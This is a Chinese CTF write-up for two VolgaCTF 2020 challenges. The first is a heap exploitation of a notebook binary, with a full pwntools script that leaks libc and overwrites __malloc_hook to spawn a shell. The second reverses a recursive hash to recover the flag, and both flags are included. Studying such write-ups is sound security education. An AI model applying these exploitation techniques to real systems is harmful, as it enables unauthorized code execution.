VolgaCTF 2020

做了两题溜了,pwn倒是挺简单,被f-hash搞得心态崩了,主要是搞出来的flag错了,找不到问题。结果看人家的wp,wtf,脚本是对的,flag就一个字母不对???

notepad--: 300pts

题目描述

保护全开

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

两类操作,一个是对notebook操作:

1
2
3
4
5
[p]ick    notebook
[a]dd notebook
[d]elete notebook
[l]ist notebook
[q]uit

一个是在pick notebook之后,对notebook的tabs进行操作:

1
2
3
4
5
6
[a]dd     tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

notebook最多16个,每个notebook的空间2072bytes,分配在bss上,包含16bytes的name,8bytes的tabs个数,64个tabs的空间,每个tab占32bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(.bss)
notebook_1 ===================> +--------+--------+
notebook_1.name <--|-- | --|--> notebook_1.name
+--------+--------+
notebook_1.tab_count <--|-- | --|--> tab_1.name
+--------+--------+
tab_1.name <--|-- | --|--> tab_1.content_size
+--------+--------+
tab_1.content_addr <--|-- | --|--> tab_2.name
+--------+--------+
tab_2.name <--|-- | --|--> tab_2.content_size
+--------+--------+
tab_2.content_addr <--|-- | --|--> tab_3.name
+--------+--------+
...................
+--------+--------+
tab_63.content_addr <--|-- | --|--> tab_64.name
+--------+--------+
tab_64.name <--|-- | --|--> tab_64.content_size
+--------+--------+ <=================== notebook_2
tab_64.content_addr <--|-- | --|--> notebook_2.name
+--------+--------+
notebook_2.name <--|-- | --|--> notebook_2.tab_count
+--------+--------+
tab_1.name <--|-- | --|--> tab_1.name
+--------+--------+
tab_1.content_size <--|-- | --|--> tab_1.content_addr
+--------+--------+
tab_2.name <--|-- | --|--> tab_2.name
+--------+--------+
tab_2.content_size <--|-- | --|--> tab_2.content_addr
+--------+--------+
...................

解题过程

# leak heap address

add notebook中,输入notebook name的时候没有限制长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
// add notebook
int sub_1442()
{
__int64 v1; // rax
char *v2; // [rsp+8h] [rbp-8h]

if ( notebook_count == 16 )
return puts("You've reached the limit for notebooks! Delete some of the older once first!");
v1 = notebook_count++;
v2 = (char *)&notebooks + 2072 * v1;
printf("Enter notebook name: ");
return __isoc99_scanf("%s", v2); // no limit, overflow
}

因此可以覆盖notebook.tab_count,而且程序在add tab的操作中限制tabs个数的逻辑为:

1
2
3
4
if ( *(_QWORD *)(a1 + 16) == 64LL )
{
puts("You've reached the limit of tabs! Delete some of the older tabs to add a new one!");
}

所以只要覆盖notebook_1.tab_count为65,就可以往下一个notebook写data,而对应的,就能将notebook_2中的tab_2.name覆盖为malloc申请的table_66.content_addr,也就是堆地址。

那么只要事先添加notebook_2,并同样地覆盖notebook_2.tab_count为2,再进行list tabs操作,就可以从tab_2.name中获得heap address。

# leak libc address

事先free出一个unsorted bin,因为heap address已经leak出来了,故unsorted bin的地址可以计算得到。

同样利用notebook name的溢出,覆盖下一个notebook的tab域,伪造出相应的content_addr(unsorted bin address),然后利用操作view tab来leak出main_arena的地址,这样就完成了leak libc address

(测试的时候,因为本地是ubuntu 18.04,正好远程和本地的libc版本一致。)

# write __malloc_hook

同样伪造下一个notebook的tab域中的content_size和content_addr(__malloc_hook address),然后利用操作update tab写入one_gadget就行了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
import sys

pwn_remote = 1

if pwn_remote:
p = remote("notepad.q.2020.volgactf.ru", 45678)
else:
p = process("./notepad")
if len(sys.argv) == 2 and sys.argv[1] == "1":
gdb.attach(p)

def add_note(name):
p.sendlineafter("> ", "a")
p.sendlineafter("Enter notebook name: ", name)

def pick_note(index):
p.sendlineafter("> ", "p")
p.sendlineafter("Enter index of a notebook to pick: ", str(index))

def add_tab(name, length, data):
p.sendlineafter("> ", "a")
p.sendlineafter("Enter tab name: ", name)
p.sendlineafter("Enter data length (in bytes): ", str(length))
p.sendafter("Enter the data: ", data)

def del_tab(index):
p.sendlineafter("> ", "d")
p.sendlineafter("Enter index of tab to delete: ", str(index))

def list_tab(index):
p.sendlineafter("> ", "l")
p.recvuntil("[" + str(index) + "] ")
return p.recv(6)

def update_tab(index, name, length, data):
p.sendlineafter("> ", "u")
p.sendlineafter("Enter index of tab to update: ", str(index))
p.sendlineafter("Enter new tab name (leave empty to skip): ", str(name))
p.sendlineafter("Enter new data length (leave empty to keep the same): ", str(length))
p.sendafter("Enter the data: ", data)

def view_tab(index):
p.sendlineafter("> ", "v")
p.sendlineafter("Enter index of a tab to view: ", str(index))
return p.recv(8)

def quit_from_tabs():
p.sendlineafter("> ", "q")

context.log_level = "debug"

main_arena_offset = 0x3ebca0
realloc_offset = 0x40c7e0
malloc_hook_offset = 0x3ebc30
one_gadget_offset = 0x10a38c


# operate note 1
add_note("AAAA")
pick_note(1)
add_tab("BBBB", 0x500, "BBBB")
add_tab("CCCC", 0x30, "CCCC")
del_tab(1)
quit_from_tabs()

# operate note 2
add_note("D" * 0x10 + p64(65))
pick_note(2)
add_tab("DDDD", 0x20, "DDDD")
quit_from_tabs()

# operate note 3
add_note("E" * 0x10 + p64(2))
pick_note(3)
heap_addr = u64(list_tab(2).ljust(8, "\x00"))
unsorted_bin_addr = heap_addr + 0x30
quit_from_tabs()

# operate note 4
add_note("F" * 0x10 + p64(1) + "F" * 0x10 + p64(8) + p64(unsorted_bin_addr))
pick_note(4)
main_arena = u64(view_tab(1))
libc_base = main_arena - main_arena_offset
quit_from_tabs()

# operate note 5
one_gadget = libc_base + one_gadget_offset
malloc_hook = libc_base + malloc_hook_offset
add_note("G" * 0x10 + p64(1) + "G" * 0x10 + p64(0x10) + p64(malloc_hook))
pick_note(5)
update_tab(1, "G" * 0x10, 0x10, p64(one_gadget))

# trigger malloc_hook
p.sendlineafter("> ", "a")
p.sendlineafter("Enter tab name: ", "shell")
p.sendlineafter("Enter data length (in bytes): ", str(0x10))

success("heap_addr: " + hex(heap_addr))
success("unsorted_bin_addr: " + hex(unsorted_bin_addr))
success("main_arena: " + hex(main_arena))
success("libc_base: " + hex(libc_base))
success("one_gadget: " + hex(one_gadget))

p.interactive()

flag

VolgaCTF{i5_g1ibc_mall0c_irr3p@rable?}

F-Hash: 250pts

题目描述

普通ELF文件,直接跑没有回显,程序里存在递归函数,深度是0x100,直接跑是跑不出结果的,不过跑完就能出flag。

解题思路

IDA动态调试,直接run起来,然后暂停,找到递归函数的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
_int64 *__fastcall sub_55EE370633B0(__int64 *a1, int a2, __int64 a3, __int64 a4)
{
__int64 v4; // r14
__int64 v5; // r12
__int64 v6; // rax
__int64 v7; // rdx
__int64 v9; // rax
__int64 v10; // rdx
__int64 v11; // r13
__int128 v12; // ax
__int128 v13; // ax
__int128 v14; // cx
__int128 v15; // [rsp+0h] [rbp-78h]
__int64 v16; // [rsp+10h] [rbp-68h]
__int128 v17; // [rsp+20h] [rbp-58h]
__int64 v18; // [rsp+30h] [rbp-48h]
unsigned __int64 v19; // [rsp+48h] [rbp-30h]

v4 = a4;
v5 = a3;
v19 = __readfsqword(0x28u);
if ( a2 == 1 )
{
v9 = calc(a3, a4);
a1[2] = 0LL;
*a1 = v9;
a1[1] = v10;
}
else if ( a2 == 2 )
{
v6 = calc(a3 ^ 1, a4);
a1[2] = 1LL;
*a1 = v6;
a1[1] = v7;
}
else
{
recursive_func((__int64 *)&v15, a2 - 1, a3, a4);
recursive_func((__int64 *)&v17, a2 - 2, v5, v4);
v11 = v16 + v18;
*(_QWORD *)&v12 = calc((v16 + v18) ^ v5, v4);
v13 = v15 + v17 + v12;
v14 = *(_OWORD *)(table + 16LL * a2);
if ( *((_QWORD *)&v14 + 1) <= *((_QWORD *)&v13 + 1) )
{
if ( *((_QWORD *)&v14 + 1) >= *((_QWORD *)&v13 + 1) )
goto LABEL_11;
do
{
do
v13 -= v14;
while ( *((_QWORD *)&v14 + 1) < *((_QWORD *)&v13 + 1) );
if ( *((_QWORD *)&v14 + 1) > *((_QWORD *)&v13 + 1) )
break;
LABEL_11:
;
}
while ( (unsigned __int64)v14 < (unsigned __int64)v13 );
}
*(_OWORD *)a1 = v13;
a1[2] = v11;
}
return a1;
}

其最外层调用是:

1
2
3
4
5
6
7
8
9
10
11
do
{
v32 = v20[1];
v57.m128i_i64[0] = *v20;
v57.m128i_i64[1] = v32;
recursive_func(v30, v29, v57.m128i_i64[0], v32);
v20 += 2;
v27 ^= v72.m128i_i64[0] + v57.m128i_i64[0];
v28 ^= (*(_OWORD *)&v72 + *(_OWORD *)&v57) >> 64;
}
while ( v20 != v31 );

改写这个recursive_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
from pwn import *

strings = "The quick brown fox jumps over the lazy dog" + "\x80" + "\x00" * 0xC + "\x2b" + "\x00" * 0x7

table = [
0x0,
0xF6000000000000000000000000000001,
0xF6000000000000000000000000000001,
0xF6000000000000000000000000000001,
0xF6000000000000000000000000000001,
0xF6000000000000000000000000000001,
0xF6000000000000000000000000000001,
0xF6000000000000000000000000000001,
0xF6000000000000000000000000000001,
0xF6000000000000000000000000000001,
0xF6000000000000000000000000000001,
0xF600000000000000000000000000000B,
0xF600000000000000000000000000000B,
0xF600000000000000000000000000000B,
0xF600000000000000000000000000000B,
0xF600000000000000000000000000000B,
0xF600000000000000000000000000000B,
0xF600000000000000000000000000000B,
0xF600000000000000000000000000000B,
0xF600000000000000000000000000000B,
0xF600000000000000000000000000000B,
0xF6000000000000000000000000000015,
0xF6000000000000000000000000000015,
0xF6000000000000000000000000000015,
0xF6000000000000000000000000000015,
0xF6000000000000000000000000000015,
0xF6000000000000000000000000000015,
0xF6000000000000000000000000000015,
0xF6000000000000000000000000000015,
0xF6000000000000000000000000000015,
0xF6000000000000000000000000000015,
0xF600000000000000000000000000001F,
0xF600000000000000000000000000001F,
0xF600000000000000000000000000001F,
0xF600000000000000000000000000001F,
0xF600000000000000000000000000001F,
0xF600000000000000000000000000001F,
0xF600000000000000000000000000001F,
0xF600000000000000000000000000001F,
0xF600000000000000000000000000001F,
0xF600000000000000000000000000001F,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000029,
0xF6000000000000000000000000000033,
0xF6000000000000000000000000000033,
0xF6000000000000000000000000000033,
0xF6000000000000000000000000000033,
0xF6000000000000000000000000000033,
0xF6000000000000000000000000000033,
0xF6000000000000000000000000000033,
0xF6000000000000000000000000000033,
0xF6000000000000000000000000000033,
0xF6000000000000000000000000000033,
0xF600000000000000000000000000003D,
0xF600000000000000000000000000003D,
0xF600000000000000000000000000003D,
0xF600000000000000000000000000003D,
0xF600000000000000000000000000003D,
0xF600000000000000000000000000003D,
0xF600000000000000000000000000003D,
0xF600000000000000000000000000003D,
0xF600000000000000000000000000003D,
0xF600000000000000000000000000003D,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000047,
0xF6000000000000000000000000000051,
0xF6000000000000000000000000000051,
0xF6000000000000000000000000000051,
0xF6000000000000000000000000000051,
0xF6000000000000000000000000000051,
0xF6000000000000000000000000000051,
0xF6000000000000000000000000000051,
0xF6000000000000000000000000000051,
0xF6000000000000000000000000000051,
0xF6000000000000000000000000000051,
0xF600000000000000000000000000005B,
0xF600000000000000000000000000005B,
0xF600000000000000000000000000005B,
0xF600000000000000000000000000005B,
0xF600000000000000000000000000005B,
0xF600000000000000000000000000005B,
0xF600000000000000000000000000005B,
0xF600000000000000000000000000005B,
0xF600000000000000000000000000005B,
0xF600000000000000000000000000005B,
0xF6000000000000000000000000000065,
0xF6000000000000000000000000000065,
0xF6000000000000000000000000000065,
0xF6000000000000000000000000000065,
0xF6000000000000000000000000000065,
0xF6000000000000000000000000000065,
0xF6000000000000000000000000000065,
0xF6000000000000000000000000000065,
0xF6000000000000000000000000000065,
0xF6000000000000000000000000000065,
0xF600000000000000000000000000006F,
0xF600000000000000000000000000006F,
0xF600000000000000000000000000006F,
0xF600000000000000000000000000006F,
0xF600000000000000000000000000006F,
0xF600000000000000000000000000006F,
0xF600000000000000000000000000006F,
0xF600000000000000000000000000006F,
0xF600000000000000000000000000006F,
0xF600000000000000000000000000006F,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000079,
0xF6000000000000000000000000000083,
0xF6000000000000000000000000000083,
0xF6000000000000000000000000000083,
0xF6000000000000000000000000000083,
0xF6000000000000000000000000000083,
0xF6000000000000000000000000000083,
0xF6000000000000000000000000000083,
0xF6000000000000000000000000000083,
0xF6000000000000000000000000000083,
0xF6000000000000000000000000000083,
0xF600000000000000000000000000008D,
0xF600000000000000000000000000008D,
0xF600000000000000000000000000008D,
0xF600000000000000000000000000008D,
0xF600000000000000000000000000008D,
0xF600000000000000000000000000008D,
0xF600000000000000000000000000008D,
0xF600000000000000000000000000008D,
0xF600000000000000000000000000008D,
0xF600000000000000000000000000008D,
0xF6000000000000000000000000000097,
0xF6000000000000000000000000000097,
0xF6000000000000000000000000000097,
0xF6000000000000000000000000000097,
0xF6000000000000000000000000000097,
0xF6000000000000000000000000000097,
0xF6000000000000000000000000000097,
0xF6000000000000000000000000000097,
0xF6000000000000000000000000000097,
0xF6000000000000000000000000000097,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000A1,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000AB,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000B5,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000BF,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000C9,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000D3,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000DD,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000E7,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000F1,
0xF60000000000000000000000000000FB,
0xF60000000000000000000000000000FB,
0xF60000000000000000000000000000FB,
0xF60000000000000000000000000000FB,
0xF60000000000000000000000000000FB,
0xF60000000000000000000000000000FB
]

def calc(low_bytes, high_bytes):
a1 = low_bytes
a2 = high_bytes
v2 = (((((a2 & 0x5555555555555555) + ((a2 >> 1) & 0x5555555555555555)) & 0x3333333333333333) \
+ ((((a2 & 0x5555555555555555) + ((a2 >> 1) & 0x5555555555555555)) >> 2) & 0x3333333333333333)) & 0xF0F0F0F0F0F0F0F) \
+ ((((((a2 & 0x5555555555555555) + ((a2 >> 1) & 0x5555555555555555)) & 0x3333333333333333) \
+ ((((a2 & 0x5555555555555555) + ((a2 >> 1) & 0x5555555555555555)) >> 2) & 0x3333333333333333)) >> 4) & 0xF0F0F0F0F0F0F0F)
v2 = v2 & 0xFFFFFFFFFFFFFFFF
v3 = ((((v2 & 0xFF00FF00FF00FF) + ((v2 >> 8) & 0xFF00FF00FF00FF)) >> 16) & 0xFFFF0000FFFF) \
+ (((v2 & 0xFF00FF00FF00FF) + ((v2 >> 8) & 0xFF00FF00FF00FF)) & 0xFFFF0000FFFF)
v3 = v3 & 0xFFFFFFFFFFFFFFFF
v4 = (((a1 & 0x5555555555555555) + ((a1 >> 1) & 0x5555555555555555)) & 0x3333333333333333) \
+ ((((a1 & 0x5555555555555555) + ((a1 >> 1) & 0x5555555555555555)) >> 2) & 0x3333333333333333)
v4 = v4 & 0xFFFFFFFFFFFFFFFF
v5 = (v4 & 0xF0F0F0F0F0F0F0F) + ((v4 >> 4) & 0xF0F0F0F0F0F0F0F)
v5 = v5 & 0xFFFFFFFFFFFFFFFF

return (v3 & 0xFFFFFFFF) \
+ (((v5 & 0xFF00FF) + ((v5 >> 8) & 0xFF00FF)) & 0xFFFF) \
+ (((v5 & 0xFF00FF) + ((v5 >> 8) & 0xFF00FF)) >> 16) \
+ (((((v5 & 0xFF00FF00FF00FF) + ((v5 >> 8) & 0xFF00FF00FF00FF)) & 0xFFFF0000FFFF) \
+ ((((v5 & 0xFF00FF00FF00FF) + ((v5 >> 8) & 0xFF00FF00FF00FF)) >> 16) & 0xFFFF0000FFFF)) >> 32) \
+ (v3 >> 32)

def process(depth, high_bytes, low_bytes):
res = [0 for i in range(depth + 1)]
count = [0 for i in range(depth + 1)]
for i in range(1, depth + 1):
if i == 1:
res[i] = calc(high_bytes, low_bytes)
count[i] = 0
elif i == 2:
res[i] = calc(high_bytes ^ 1, low_bytes)
count[i] = 1
else:
val_1 = res[i - 1]
val_2 = res[i - 2]
count[i] = (count[i - 1] + count[i - 2]) & 0xFFFFFFFFFFFFFFFF
tmp = calc(high_bytes ^ (count[i]), low_bytes)
tmp += val_1 + val_2
tmp &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
while tmp > table[i]:
tmp = tmp - table[i]
res[i] = tmp
print("set {long long}($rsp + 0xb0)= " + hex(count[depth]))
# for item in res:
# print(hex(item))
return res[depth]


v27 = 0x9C8A210019B32312
v28 = 0x342D41A3B6410FF
for i in range(0, len(strings), 0x10):
print("loop " + str(i // 0x10 + 1) + ":")

value = process(0x100, u64(strings[i:i+8]), u64(strings[i+8:i+0x10]))
high = value >> 64
low = value & 0xFFFFFFFFFFFFFFFF
print("set {long long}($rsp + 0xa0) = " + hex(low))
print("set {long long}($rsp + 0xa8) = " + hex(high))
print

# print(hex(u64(strings[i:i+8])), hex(u64(strings[i+8:i+0x10])))

v27 ^= low + u64(strings[i:i+8])
v28 ^= high + u64(strings[i+8:i+0x10])
# print(hex(v27), hex(v28))

跑出来的结果是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
loop 1:
set {long long}($rsp + 0xb0)= 0x1bed585606b77ee2
set {long long}($rsp + 0xa0) = 0x9f7063cbae808c39
set {long long}($rsp + 0xa8) = 0x31c27b4975c414f8

loop 2:
set {long long}($rsp + 0xb0)= 0x1bed585606b77ee2
set {long long}($rsp + 0xa0) = 0xae737c67349d7930
set {long long}($rsp + 0xa8) = 0xa0c447a7cd22de

loop 3:
set {long long}($rsp + 0xb0)= 0x1bed585606b77ee2
set {long long}($rsp + 0xa0) = 0xb4ab72b2a625573c
set {long long}($rsp + 0xa8) = 0xf1b74bd139691b09

loop 4:
set {long long}($rsp + 0xb0)= 0x1bed585606b77ee2
set {long long}($rsp + 0xa0) = 0x9d78f243a21282bb
set {long long}($rsp + 0xa8) = 0x6db7dea733d71b4d

当时我以为把这个recursive_func直接patch掉,然后算出原C里面的v27和v28两个值(这里没输出,注释掉了),在动态调试的时候直接set就可以出flag了,结果这样做没对,搞得我一直以为是脚本写错了,但是反复检查都没错,心累。

最后看着差了一个字母的flag,我开始断在PIE+0x1781的为值一步一步地手动set值,才得到正确的flag。

flag

VolgaCTF{16011432ba16efc8dcf779477985b3b9}

Author: Nop
Link: https://n0nop.com/2020/03/31/VolgaCTF-2020/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.